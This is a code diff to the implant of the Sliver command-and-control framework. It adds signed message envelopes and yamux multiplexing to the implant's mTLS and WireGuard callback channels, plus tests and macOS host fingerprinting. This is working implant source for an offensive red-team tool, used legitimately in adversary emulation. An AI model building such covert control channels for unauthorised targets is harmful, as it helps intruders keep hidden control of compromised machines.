+	envelopeSigningPriv  ed25519.PrivateKey
+)
+
+func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
+	envelopeSigningOnce.Do(func() {
+		peerKeyPair := cryptography.GetPeerAgeKeyPair()
+		// NOTE: This file is rendered with Go's text/template; avoid literal template
+		// delimiters in string checks or the template parser will treat it as an action.
+		if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
+			envelopeSigningErr = errors.New("[mtls] missing peer private key")
+			return
+		}
+
+		seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerKeyPair.Private))
+		envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
+
+		pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
+		digest := blake2b.Sum256(pub)
+		envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
+	})
+
+	return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
+}
+
+func isNilInterface(v any) bool {
+	if v == nil {
+		return true
+	}
+	rv := reflect.ValueOf(v)
+	switch rv.Kind() {
+	case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
+		return rv.IsNil()
+	default:
+		return false
+	}
+}
+
+func writeAll(w io.Writer, p []byte) error {
+	for len(p) > 0 {
+		n, err := w.Write(p)
+		if err != nil {
+			return err
+		}
+		if n <= 0 {
+			return io.ErrShortWrite
+		}
+		p = p[n:]
+	}
+	return nil
+}
+
 // WriteEnvelope - Writes a message to the TLS socket using length prefix framing
 // which is a fancy way of saying we write the length of the message then the message
 // e.g. [uint32 length|message] so the receiver can delimit messages properly
-func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
+func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
+	if envelope == nil {
+		return errors.New("[mtls] nil envelope")
+	}
+	if isNilInterface(w) {
+		return errors.New("[mtls] nil writer")
+	}
+
 	data, err := proto.Marshal(envelope)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Print("Envelope marshaling error: ", err)
 		// {{end}}
-		return err
+		return fmt.Errorf("[mtls] marshal envelope: %w", err)
 	}
-	dataLengthBuf := new(bytes.Buffer)
-	binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
-	if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
+
+	signingKey, keyID, err := mtlsEnvelopeSigningKey()
+	if err != nil {
+		return fmt.Errorf("[mtls] envelope signing key: %w", err)
+	}
+	rawSigBuf := make([]byte, cryptography.RawSigSize)
+	binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
+	binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
+	copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
+	if werr := writeAll(w, rawSigBuf); werr != nil {
+		return fmt.Errorf("[mtls] write raw signature: %w", werr)
+	}
+
+	var dataLengthBuf [4]byte
+	binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
+	if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
 		// {{if .Config.Debug}}
 		log.Print("Error writing data length: ", werr)
 		// {{end}}
-		return werr
+		return fmt.Errorf("[mtls] write data length: %w", werr)
 	}
-	if _, werr := connection.Write(data); werr != nil {
+	if werr := writeAll(w, data); werr != nil {
 		// {{if .Config.Debug}}
 		log.Print("Error writing data: ", werr)
 		// {{end}}
-		return werr
+		return fmt.Errorf("[mtls] write data: %w", werr)
 	}
 	return nil
 }
 
 // WritePing - Send a "ping" message to the server
-func WritePing(connection *tls.Conn) error {
+func WritePing(w io.Writer) error {
 	// {{if .Config.Debug}}
 	log.Print("Socket ping")
 	// {{end}}
@@ -92,16 +177,26 @@ func WritePing(connection *tls.Conn) error {
 		Type: pb.MsgPing,
 		Data: pingBuf,
 	}
-	return WriteEnvelope(connection, &envelope)
+	return WriteEnvelope(w, &envelope)
 }
 
 // ReadEnvelope - Reads a message from the TLS connection using length prefix framing
-func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
+func ReadEnvelope(r io.Reader) (*pb.Envelope, error) {
+	rawSigBuf := make([]byte, cryptography.RawSigSize)
 	dataLengthBuf := make([]byte, 4) // Size of uint32
-	if len(dataLengthBuf) == 0 || connection == nil {
+	if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || r == nil {
 		panic("[[GenerateCanary]]")
 	}
-	n, err := io.ReadFull(connection, dataLengthBuf)
+
+	n, err := io.ReadFull(r, rawSigBuf)
+	if err != nil || n != len(rawSigBuf) {
+		// {{if .Config.Debug}}
+		log.Printf("Socket error (read raw signature): %v\n", err)
+		// {{end}}
+		return nil, err
+	}
+
+	n, err = io.ReadFull(r, dataLengthBuf)
 	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("Socket error (read msg-length): %v\n", err)
@@ -119,7 +214,7 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
 
 	dataBuf := make([]byte, dataLength)
 
-	n, err = io.ReadFull(connection, dataBuf)
+	n, err = io.ReadFull(r, dataBuf)
 
 	if err != nil || n != dataLength {
 		// {{if .Config.Debug}}
@@ -128,6 +223,13 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
 		return nil, err
 	}
 
+	if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid signature on mtls envelope")
+		// {{end}}
+		return nil, errors.New("[mtls] invalid signature")
+	}
+
 	// Unmarshal the protobuf envelope
 	envelope := &pb.Envelope{}
 	err = proto.Unmarshal(dataBuf, envelope)

implant/sliver/transports/mtls/mtls_test.go

@@ -0,0 +1,47 @@
+package mtls
+
+import (
+	"bytes"
+	"crypto/tls"
+	"testing"
+
+	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+func TestWriteEnvelope_NilEnvelope(t *testing.T) {
+	t.Parallel()
+
+	var buf bytes.Buffer
+	if err := WriteEnvelope(&buf, nil); err == nil {
+		t.Fatalf("expected error for nil envelope")
+	}
+}
+
+func TestWriteEnvelope_NilWriter(t *testing.T) {
+	t.Parallel()
+
+	defer func() {
+		if r := recover(); r != nil {
+			t.Fatalf("WriteEnvelope panicked: %v", r)
+		}
+	}()
+
+	if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
+		t.Fatalf("expected error for nil writer")
+	}
+}
+
+func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
+	t.Parallel()
+
+	defer func() {
+		if r := recover(); r != nil {
+			t.Fatalf("WriteEnvelope panicked: %v", r)
+		}
+	}()
+
+	var conn *tls.Conn
+	if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
+		t.Fatalf("expected error for nil *tls.Conn writer")
+	}
+}

implant/sliver/transports/nilcheck.go

@@ -0,0 +1,17 @@
+package transports
+
+import "reflect"
+
+// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
+func isNilInterface(v any) bool {
+	if v == nil {
+		return true
+	}
+	rv := reflect.ValueOf(v)
+	switch rv.Kind() {
+	case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
+		return rv.IsNil()
+	default:
+		return false
+	}
+}

implant/sliver/transports/session.go

@@ -25,7 +25,9 @@ import (
 	// {{end}}
 
 	// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
+	"errors"
 	"strconv"
+
 	// {{end}}
 
 	// {{if .Config.Debug}}
@@ -39,9 +41,12 @@ import (
 
 	// {{end}}
 
-	// {{if .Config.IncludeWG}}
-	"errors"
+	// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
+	"github.com/hashicorp/yamux"
 
+	// {{end}}
+
+	// {{if .Config.IncludeWG}}
 	"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
 	"golang.zx2c4.com/wireguard/device"
 
@@ -62,18 +67,19 @@ import (
 	// {{end}}
 
 	// {{if not .Config.IncludeNamePipe}}
-	"io"
 	"net/url"
 	"sync"
 
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 	// {{end}}
 
+	"io"
 	"time"
 )
 
 var (
 	_ time.Duration // Force import
+	_ io.ReadCloser // Force import
 )
 
 type Start func() error
@@ -198,7 +204,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 	send := make(chan *pb.Envelope)
 	recv := make(chan *pb.Envelope)
 	ctrl := make(chan struct{})
+	done := make(chan struct{})
 	var conn *tls.Conn
+	var muxSession *yamux.Session
 
 	connection := &Connection{
 		Send:    send,
@@ -215,7 +223,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[mtls] lost connection, cleanup...")
 			// {{end}}
-			conn.Close()
+			close(done)
+			if muxSession != nil {
+				muxSession.Close()
+			}
+			if conn != nil {
+				conn.Close()
+			}
 			close(recv)
 		},
 	}
@@ -243,45 +257,145 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 		if err != nil {
 			return err
 		}
+		if conn == nil {
+			errMsg := ""
+			// {{if .Config.Debug}}
+			errMsg = "mtls connection returned nil conn"
+			// {{end}}
+			return errors.New(errMsg)
+		}
+		if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
+			conn.Close()
+			return err
+		}
+		muxSession, err = yamux.Client(conn, nil)
+		if err != nil {
+			conn.Close()
+			return err
+		}
+		if muxSession == nil {
+			conn.Close()
+			errMsg := ""
+			// {{if .Config.Debug}}
+			errMsg = "[mtls] failed to create yamux session (nil)"
+			// {{end}}
+			return errors.New(errMsg)
+		}
 		connection.IsOpen = true
 
 		go func() {
 			defer connection.Cleanup()
+			sendSem := make(chan struct{}, 64)
+			ticker := time.NewTicker(mtls.PingInterval)
+			defer ticker.Stop()
+
+			sendEnvelope := func(envelope *pb.Envelope) {
+				if envelope == nil {
+					return
+				}
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+				go func(envelope *pb.Envelope) {
+					defer func() {
+						<-sendSem
+					}()
+					stream, err := muxSession.Open()
+					if err != nil {
+						connection.Cleanup()
+						return
+					}
+					if isNilInterface(stream) {
+						connection.Cleanup()
+						return
+					}
+					defer stream.Close()
+					if err := mtls.WriteEnvelope(stream, envelope); err != nil {
+						connection.Cleanup()
+						return
+					}
+				}(envelope)
+			}
+
+			sendPing := func() {
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+				go func() {
+					defer func() {
+						<-sendSem
+					}()
+					stream, err := muxSession.Open()
+					if err != nil {
+						connection.Cleanup()
+						return
+					}
+					if isNilInterface(stream) {
+						connection.Cleanup()
+						return
+					}
+					defer stream.Close()
+					if err := mtls.WritePing(stream); err != nil {
+						connection.Cleanup()
+						return
+					}
+				}()
+			}
+
 			for {
 				select {
 				case envelope, ok := <-send:
 					if !ok {
 						return
 					}
-					err := mtls.WriteEnvelope(conn, envelope)
-					if err != nil {
-						return
-					}
-				case <-time.After(mtls.PingInterval):
-					err = mtls.WritePing(conn)
-					if err != nil {
-						return
-					}
+					sendEnvelope(envelope)
+				case <-ticker.C:
+					sendPing()
+				case <-done:
+					return
 				}
 			}
 		}()
 
 		go func() {
 			defer connection.Cleanup()
+			streamSem := make(chan struct{}, 128)
 			for {
-				envelope, err := mtls.ReadEnvelope(conn)
-				if err == io.EOF {
-					// {{if .Config.Debug}}
-					log.Printf("[mtls] eof")
-					// {{end}}
+				stream, err := muxSession.Accept()
+				if err != nil {
 					return
 				}
-				if err != io.EOF && err != nil {
-					break
+				if isNilInterface(stream) {
+					return
 				}
-				if envelope != nil {
-					recv <- envelope
+
+				select {
+				case streamSem <- struct{}{}:
+				case <-done:
+					stream.Close()
+					return
 				}
+
+				go func() {
+					defer func() {
+						<-streamSem
+					}()
+					defer stream.Close()
+					envelope, err := mtls.ReadEnvelope(stream)
+					if err != nil {
+						return
+					}
+					if envelope != nil {
+						select {
+						case recv <- envelope:
+						case <-done:
+						}
+					}
+				}()
 			}
 		}()
 
@@ -299,9 +413,11 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 	send := make(chan *pb.Envelope)
 	recv := make(chan *pb.Envelope)
 	ctrl := make(chan struct{})
+	done := make(chan struct{})
 
 	var conn net.Conn
 	var dev *device.Device
+	var muxSession *yamux.Session
 	connection := &Connection{
 		Send:    send,
 		Recv:    recv,
@@ -315,8 +431,16 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[wg] lost connection, cleanup...")
 			// {{end}}
-			conn.Close()
-			dev.Down()
+			close(done)
+			if muxSession != nil {
+				muxSession.Close()
+			}
+			if conn != nil {
+				conn.Close()
+			}
+			if dev != nil {
+				dev.Down()
+			}
 			close(recv)
 		},
 	}
@@ -355,45 +479,121 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 		if err != nil {
 			return err
 		}
+		if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
+			conn.Close()
+			dev.Down()
+			return err
+		}
+		muxSession, err = yamux.Client(conn, nil)
+		if err != nil {
+			conn.Close()
+			dev.Down()
+			return err
+		}
 		connection.IsOpen = true
 
 		go func() {
 			defer connection.Cleanup()
+			sendSem := make(chan struct{}, 64)
+			ticker := time.NewTicker(wireguard.PingInterval)
+			defer ticker.Stop()
+
+			sendEnvelope := func(envelope *pb.Envelope) {
+				if envelope == nil {
+					return
+				}
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+				go func(envelope *pb.Envelope) {
+					defer func() {
+						<-sendSem
+					}()
+					stream, err := muxSession.Open()
+					if err != nil {
+						connection.Cleanup()
+						return
+					}
+					defer stream.Close()
+					if err := wireguard.WriteEnvelope(stream, envelope); err != nil {
+						connection.Cleanup()
+						return
+					}
+				}(envelope)
+			}
+
+			sendPing := func() {
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+				go func() {
+					defer func() {
+						<-sendSem
+					}()
+					stream, err := muxSession.Open()
+					if err != nil {
+						connection.Cleanup()
+						return
+					}
+					defer stream.Close()
+					if err := wireguard.WritePing(stream); err != nil {
+						connection.Cleanup()
+						return
+					}
+				}()
+			}
+
 			for {
 				select {
 				case envelope, ok := <-send:
 					if !ok {
 						return
 					}
-					err := wireguard.WriteEnvelope(conn, envelope)
-					if err != nil {
-						return
-					}
-				case <-time.After(wireguard.PingInterval):
-					err = wireguard.WritePing(conn)
-					if err != nil {
-						return
-					}
+					sendEnvelope(envelope)
+				case <-ticker.C:
+					sendPing()
+				case <-done:
+					return
 				}
 			}
 		}()
 
 		go func() {
 			defer connection.Cleanup()
+			streamSem := make(chan struct{}, 128)
 			for {
-				envelope, err := wireguard.ReadEnvelope(conn)
-				if err == io.EOF {
-					// {{if .Config.Debug}}
-					log.Printf("[wireguard] eof")
-					// {{end}}
+				stream, err := muxSession.Accept()
+				if err != nil {
 					return
 				}
-				if err != io.EOF && err != nil {
-					break
-				}
-				if envelope != nil {
-					recv <- envelope
+
+				select {
+				case streamSem <- struct{}{}:
+				case <-done:
+					stream.Close()
+					return
 				}
+
+				go func() {
+					defer func() {
+						<-streamSem
+					}()
+					defer stream.Close()
+					envelope, err := wireguard.ReadEnvelope(stream)
+					if err != nil {
+						return
+					}
+					if envelope != nil {
+						select {
+						case recv <- envelope:
+						case <-done:
+						}
+					}
+				}()
 			}
 		}()
 

implant/sliver/transports/wireguard/wireguard.go

@@ -25,6 +25,8 @@ package wireguard
 import (
 	"bufio"
 	"bytes"
+	"crypto/ed25519"
+	"crypto/sha256"
 	"encoding/binary"
 	"errors"
 	"fmt"
@@ -33,15 +35,18 @@ import (
 	"net/netip"
 	"strconv"
 	"strings"
+	"sync"
 	"time"
 
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
 
+	"github.com/bishopfox/sliver/implant/sliver/cryptography"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 
 	"github.com/bishopfox/sliver/implant/sliver/netstack"
+	"golang.org/x/crypto/blake2b"
 	"golang.zx2c4.com/wireguard/conn"
 	"golang.zx2c4.com/wireguard/device"
 	"golang.zx2c4.com/wireguard/tun"
@@ -49,6 +54,9 @@ import (
 )
 
 var (
+	// YamuxPreface - Magic bytes sent before yamux frames
+	YamuxPreface = "MUX/1"
+
 	serverTunIP = "100.64.0.1" // Don't let user configure this for now
 	tunnelNet   *netstack.Net
 	tunAddress  string
@@ -66,6 +74,36 @@ var (
 	failedConn   = 0
 )
 
+const wgEnvelopeSigningSeedPrefix = "env-signing-v1:"
+
+var (
+	envelopeSigningOnce  sync.Once
+	envelopeSigningErr   error
+	envelopeSigningKeyID uint64
+	envelopeSigningPriv  ed25519.PrivateKey
+)
+
+func wgEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
+	envelopeSigningOnce.Do(func() {
+		peerKeyPair := cryptography.GetPeerAgeKeyPair()
+		// NOTE: This file is rendered with Go's text/template; avoid literal template
+		// delimiters in string checks or the template parser will treat it as an action.
+		if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
+			envelopeSigningErr = errors.New("[wireguard] missing peer private key")
+			return
+		}
+
+		seed := sha256.Sum256([]byte(wgEnvelopeSigningSeedPrefix + peerKeyPair.Private))
+		envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
+
+		pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
+		digest := blake2b.Sum256(pub)
+		envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
+	})
+
+	return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
+}
+
 // GetTNet - Get the netstack Net object
 func GetTNet() *netstack.Net {
 	return tunnelNet
@@ -87,6 +125,22 @@ func WriteEnvelope(connection net.Conn, envelope *pb.Envelope) error {
 		// {{end}}
 		return err
 	}
+
+	signingKey, keyID, err := wgEnvelopeSigningKey()
+	if err != nil {
+		return err
+	}
+	rawSigBuf := make([]byte, cryptography.RawSigSize)
+	binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
+	binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
+	copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
+	if _, werr := connection.Write(rawSigBuf); werr != nil {
+		// {{if .Config.Debug}}
+		log.Print("Socket error (write raw signature): ", werr)
+		// {{end}}
+		return werr
+	}
+
 	dataLengthBuf := new(bytes.Buffer)
 	binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
 	if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
@@ -121,11 +175,21 @@ func WritePing(connection net.Conn) error {
 
 // ReadEnvelope - Reads a message from the wireguard connection using length prefix framing
 func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
+	rawSigBuf := make([]byte, cryptography.RawSigSize)
 	dataLengthBuf := make([]byte, 4) // Size of uint32
-	if len(dataLengthBuf) == 0 || connection == nil {
+	if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || connection == nil {
 		panic("[[GenerateCanary]]")
 	}
-	n, err := io.ReadFull(connection, dataLengthBuf)
+
+	n, err := io.ReadFull(connection, rawSigBuf)
+	if err != nil || n != len(rawSigBuf) {
+		// {{if .Config.Debug}}
+		log.Printf("Socket error (read raw signature): %v\n", err)
+		// {{end}}
+		return nil, err
+	}
+
+	n, err = io.ReadFull(connection, dataLengthBuf)
 	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("Socket error (read msg-length): %v\n", err)
@@ -152,6 +216,13 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
 		return nil, err
 	}
 
+	if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid signature on wireguard envelope")
+		// {{end}}
+		return nil, errors.New("[wireguard] invalid signature")
+	}
+
 	// Unmarshal the protobuf envelope
 	envelope := &pb.Envelope{}
 	err = proto.Unmarshal(dataBuf, envelope)
@@ -165,6 +236,10 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
 	return envelope, nil
 }
 
+func formatWGEndpoint(address string, port uint16) string {
+	return net.JoinHostPort(address, strconv.Itoa(int(port)))
+}
+
 // getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
 func getSessKeys(address string, port uint16) error {
 	_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
@@ -172,7 +247,9 @@ func getSessKeys(address string, port uint16) error {
 		return err
 	}
 
-	dev.Up()
+	if err := dev.Up(); err != nil {
+		return err
+	}
 
 	// {{if .Config.Debug}}
 	log.Printf("Initial wg connection. Attempting to connect to wg key exchange listener")
@@ -183,6 +260,7 @@ func getSessKeys(address string, port uint16) error {
 		// {{if .Config.Debug}}
 		log.Printf("Unable to connect to wg key exchange listener: %v", err)
 		// {{end}}
+		_ = dev.Down()
 		return err
 	}
 
@@ -207,7 +285,10 @@ func getSessKeys(address string, port uint16) error {
 // WGConnect - Get a wg connection or die trying
 func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 	if wgSessPrivKey == "" || failedConn > 2 {
-		getSessKeys(address, port)
+		if err := getSessKeys(address, port); err != nil {
+			failedConn++
+			return nil, nil, err
+		}
 	}
 
 	// Bring up actual wireguard connection using retrieved keys and IP
@@ -261,7 +342,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
 	wgConf := bytes.NewBuffer(nil)
 	fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
 	fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
-	fmt.Fprintf(wgConf, "endpoint=%s:%d\n", address, port)
+	fmt.Fprintf(wgConf, "endpoint=%s\n", formatWGEndpoint(address, port))
 	fmt.Fprintf(wgConf, "allowed_ip=%s/0\n", "0.0.0.0")
 
 	// {{if .Config.Debug}}

implant/sliver/transports/wireguard/wireguard_endpoint_test.go

@@ -0,0 +1,26 @@
+//go:build windows || darwin || linux
+
+package wireguard
+
+import "testing"
+
+func TestFormatWGEndpoint_IPv6(t *testing.T) {
+	got := formatWGEndpoint("::1", 8989)
+	if got != "[::1]:8989" {
+		t.Fatalf("unexpected endpoint: got=%q want=%q", got, "[::1]:8989")
+	}
+}
+
+func TestFormatWGEndpoint_IPv4(t *testing.T) {
+	got := formatWGEndpoint("127.0.0.1", 53)
+	if got != "127.0.0.1:53" {
+		t.Fatalf("unexpected endpoint: got=%q want=%q", got, "127.0.0.1:53")
+	}
+}
+
+func TestFormatWGEndpoint_Hostname(t *testing.T) {
+	got := formatWGEndpoint("example.com", 1337)
+	if got != "example.com:1337" {
+		t.Fatalf("unexpected endpoint: got=%q want=%q", got, "example.com:1337")
+	}
+}

implant/sliver/version/version_darwin.go

@@ -18,6 +18,129 @@ package version
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
-func GetVersion() string {
+import (
+	"encoding/xml"
+	"errors"
+	"fmt"
+	//{{if .Config.Debug}}
+	"log"
+	//{{end}}
+	"os"
+	"strings"
+
+	"golang.org/x/sys/unix"
+)
+
+type plist struct {
+	XMLName xml.Name `xml:"plist"`
+	Dict    dict     `xml:"dict"`
+}
+
+type dict struct {
+	Key    []string `xml:"key"`
+	String []string `xml:"string"`
+}
+
+func getString(input []byte) string {
+	ver := string(input)
+	if i := strings.Index(ver, "\x00"); i != -1 {
+		ver = ver[:i]
+	}
+	return ver
+}
+
+func readOSRelease() string {
+	paths := []string{
+		"/System/Library/CoreServices/SystemVersion.plist",
+		"/System/Library/CoreServices/ServerVersion.plist",
+	}
+	for _, path := range paths {
+		file, err := os.Open(path)
+		if err != nil {
+			continue
+		}
+		properties, err := parsePlistFile(file)
+		_ = file.Close()
+		if err != nil {
+			//{{if .Config.Debug}}
+			log.Printf("error parsing %s: %v", path, err)
+			//{{end}}
+			continue
+		}
+		if osRelease := buildOSRelease(properties); osRelease != "" {
+			return osRelease
+		}
+	}
 	return ""
 }
+
+func parsePlistFile(file *os.File) (map[string]string, error) {
+	var v plist
+	if err := xml.NewDecoder(file).Decode(&v); err != nil {
+		return nil, err
+	}
+	if len(v.Dict.Key) != len(v.Dict.String) {
+		return nil, errors.New("invalid plist content")
+	}
+	properties := make(map[string]string, len(v.Dict.Key))
+	for i, key := range v.Dict.Key {
+		properties[key] = v.Dict.String[i]
+	}
+	return properties, nil
+}
+
+func buildOSRelease(properties map[string]string) string {
+	productName := properties["ProductName"]
+	productVersion := properties["ProductVersion"]
+	productBuildVersion := properties["ProductBuildVersion"]
+	if productName == "" || productVersion == "" || productBuildVersion == "" {
+		return ""
+	}
+	return fmt.Sprintf("%s %s (%s)", productName, productVersion, productBuildVersion)
+}
+
+func normalizeArch(arch string) string {
+	arch = strings.TrimSpace(arch)
+	if arch == "" {
+		return ""
+	}
+	switch strings.ToLower(arch) {
+	case "amd64":
+		return "x86_64"
+	case "i386", "i486", "i586", "i686", "x86":
+		return "x86"
+	default:
+		return arch
+	}
+}
+
+func formatDetailedVersion(osRelease, kernel, arch string) string {
+	parts := make([]string, 0, 3)
+	if osRelease != "" {
+		parts = append(parts, osRelease)
+	}
+	if kernel != "" {
+		parts = append(parts, fmt.Sprintf("kernel %s", kernel))
+	}
+	if arch != "" {
+		parts = append(parts, arch)
+	}
+	return strings.Join(parts, " ")
+}
+
+func GetVersion() string {
+	osRelease := readOSRelease()
+	var uname unix.Utsname
+	if err := unix.Uname(&uname); err != nil {
+		//{{if .Config.Debug}}
+		log.Printf("error getting OS version: %v", err)
+		//{{end}}
+		return osRelease
+	}
+	if osRelease == "" {
+		osRelease = getString(uname.Sysname[:])
+	}
+	kernel := getString(uname.Release[:])
+	arch := normalizeArch(getString(uname.Machine[:]))
+	return formatDetailedVersion(osRelease, kernel, arch)
+}